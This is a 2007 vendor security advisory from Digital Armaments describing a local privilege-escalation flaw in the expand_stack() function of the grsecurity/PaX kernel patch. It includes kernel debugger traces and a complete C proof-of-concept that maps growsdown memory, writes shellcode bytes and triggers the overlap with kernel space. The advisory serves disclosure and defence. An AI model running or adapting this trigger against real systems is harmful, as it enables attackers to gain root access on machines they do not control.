Digital Armaments Security Advisory 20.01.2007: Grsecurity Kernel PaX Vulnerability
Digital Armaments advisory is 01.20.2007
http://www.digitalarmaments.com/2007200184936274.html
I. Background
grsecurity is an innovative approach to security utilizing a multi-layered
detection, prevention, and containment model. It is licensed under the GPL.
For further information or detail about the software you can refer to the
vendor's homepage:
http://www.grsecurity.net/
II. Problem Description
A vulnerability exist in expand_stack() of grsecurity patch. This vulnerability
allow local privilege escalation.
III. Details
The problem persist in the expand_stack() function:
[0]kdb> b
Stack traceback for pid 29939
0xce9f6560 29939 16112 1 0 R 0xce9f6730 *bugpax
EBP EIP Function (args)
0xced1ed24 0xc0197e57 find_vma+0x27 (0xce5350e4, 0x5ffff000, 0xced1ed60,
0xce9f6560, 0x7b)
0xced1ed60 0xc01981aa expand_stack+0x13a (0xce9f6560, 0xcdcfc9c0, 0x0,
0xcffcfaa0, 0x0)
0xced1ee3c 0xc0157829 do_page_fault+0x2b9 (0xce5350e4, 0x0, 0x0, 0xce535110,
0xcdcfc6e8)
0xc014543b error_code+0x2b
Interrupt registers:
SS trap at 0xc0197e82 (find_vma+0x52)
0xc0197e82 find_vma+0x52: ret
[0]kdb>
SS trap at 0xc01981aa (expand_stack+0x13a)
0xc01981aa expand_stack+0x13a: test %eax,%eax
[0]kdb> r
eax = 0xcdcfc6e8 ebx = 0x00000000 ecx = 0xcdcfc6e8 edx = 0xcdcfc700
esi = 0xcdcfc9c0 edi = 0xcdcfc9c0 esp = 0xced1ed2c eip = 0xc01981aa
ebp = 0xced1ed60 xss = 0x00000068 xcs = 0x00000060 eflags = 0x00000286
xds = 0x0000007b xes = 0x0000007b origeax = 0xffffffff ®s = 0xced1ecf8
[0]kdb> vm 0xcdcfc6e8
struct vm_area_struct at 0xcdcfc6e8 for 92 bytes
vm_start = 0x5ffff000 vm_end = 0x60004000
vm_page_prot = 0x25
vm_flags: READ WRITE EXEC MAYREAD MAYWRITE MAYEXEC GROWSDOWN
[0]kdb>
The bug generate a crash here:
Stack traceback for pid 31494
0xcea9d020 31494 4536 1 0 R 0xcea9d1f0 *bugpax
EBP EIP Function (args)
0xc4d70de4 0xc019923f exit_mmap+0x17f (0xce50634c, 0xce50634c, 0xce506378)
0xc4d70df8 0xc0160144 mmput+0x34 (0xce50634c, 0x2b, 0xc4d70000, 0xcea9d020,
0xcea9d4d8)
0xc4d70e14 0xc01647f4 exit_mm+0xb4 (0xcea9d020, 0x7, 0x6, 0x0, 0x1)
0xc4d70e40 0xc0165238 do_exit+0xb8 (0xc4d70ec0, 0x7, 0xc4d70f60, 0xc4d70000)
0xc4d70e58 0xc016559c do_group_exit+0x3c (0x7, 0x7, 0xc4d70f60, 0xcf4d55a0,
0xc4d70000)
0xc4d70e84 0xc016efa6 get_signal_to_deliver+0x1f6 (0xc4d70ec0, 0xc4d70ea0,
0xc4d70f60, 0x0, 0x5fffffbc)
0xc4d70f4c 0xc0144124 do_signal+0x74 (0x278aaff4)
0xc4d70f58 0xc01441fd do_notify_resume+0x3d
0xc01443de work_notifysig+0x13
Use the following proof code to trigger the vulnerability:
/*
** expand_stack() PaX local root vulnerability
** Vulnerability trigger.
**
** Copyright (C) 2007
** Digital Armaments Inc. - www.digitalarmaments.com
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <signal.h>
#include <stdio.h>
#include <sched.h>
#include <fcntl.h>
#include <asm/page.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/wait.h>
#define KBASE 0xc0000000
#define SEGMEXEC_TASK_SIZE (KBASE / 2)
#define LOSTPAGE_SIZE (PAGE_SIZE * 3)
#define MAP1_BASE 0x00004000
#define MAP2_BASE MAP1_BASE - LOSTPAGE_SIZE
#define PF_BASE MAP1_BASE + SEGMEXEC_TASK_SIZE - 0x4000
#define PAGE_GROW_NB 10
static char ucode [40] = "\xbe\x00\xF0\xFF\x5F\x83\x3e\x2a";
void mouarf (int signum)
{
char * str = (char *) (MAP1_BASE + 600);
memset ((void *)(MAP1_BASE + 600), 0x90, 40);
str [26] = 0xc3; /* ret */
return;
}
int main( void )
{
int i = 1;
void (* p)();
signal (SIGBUS, mouarf);
if( mmap( (void *) MAP1_BASE, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_FIXED |
MAP_ANONYMOUS | MAP_PRIVATE | MAP_GROWSDOWN, 0, 0 ) == (void *) -1 )
{
perror( "mmap map1 base\n" );
return( 1 );
}
if( mmap( (void *) 0x0, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_FIXED |
MAP_ANONYMOUS | MAP_PRIVATE | MAP_GROWSDOWN, 0, 0 ) == (void *) -1 )
{
perror( "mmap 0x0 failed\n" );
return( 1 );
}
if( mprotect( (void *) MAP1_BASE, PAGE_SIZE,
PROT_READ | PROT_WRITE | PROT_EXEC ) < 0 )
{
perror( "mprotect map1 base" );
fprintf( stderr, "run chpax -m on this executable\n" );
return( 1 );
}
* (int *) (ucode + 1) = (SEGMEXEC_TASK_SIZE - (PAGE_SIZE * i));
memcpy ((void *)(MAP1_BASE + 600), ucode, 20);
p = (void *) MAP1_BASE + 600;
printf ("--> about to fault on %X\n", SEGMEXEC_TASK_SIZE - (PAGE_SIZE * i));
p ();
printf ("Overlaping the kernel by %d pages\n", i);
fflush( stdout );
printf ("Calling munmap ... %X, %x\n", 0x2000, 0x1000);
if (munmap (0x2000, 0x1000) < 0 )
perror ("munmap");
// printf ("Calling mremap ... \n");
// if (mremap (0x2000, 0x1000, 0x10000, MREMAP_MAYMOVE) < 0 )
// perror ("mremap");
printf ("PID:%d, sleeping\n", getpid ());
sleep (2000);
return( 0 );
}
IV. Impact analysis
Successful exploitation allow an attacker to obtain local root privileges. The
impact is high, due to grsecurity should prevent any form of code execution and
privilege escalation.
V. Legal Notices
Copyright © 2007 Digital Armaments Inc.
Redistribution of this alert electronically is allowed. It should not be edited
in any way. Reprint the whole is allowed, partial reprint is not permitted. For
any other request please email customerservice@xxxxxxxxxxxxxxxxxxxx for
permission.
Disclaimer: The information in the advisory is believed to be accurate at the
time of publishing based on currently available information. Use of the
information constitutes acceptance for use in an AS IS condition. There are no
warranties with regard to this information. Neither the author nor the
publisher accepts any liability for any direct, indirect, or consequential loss
or damage arising from use of, or reliance on, this information.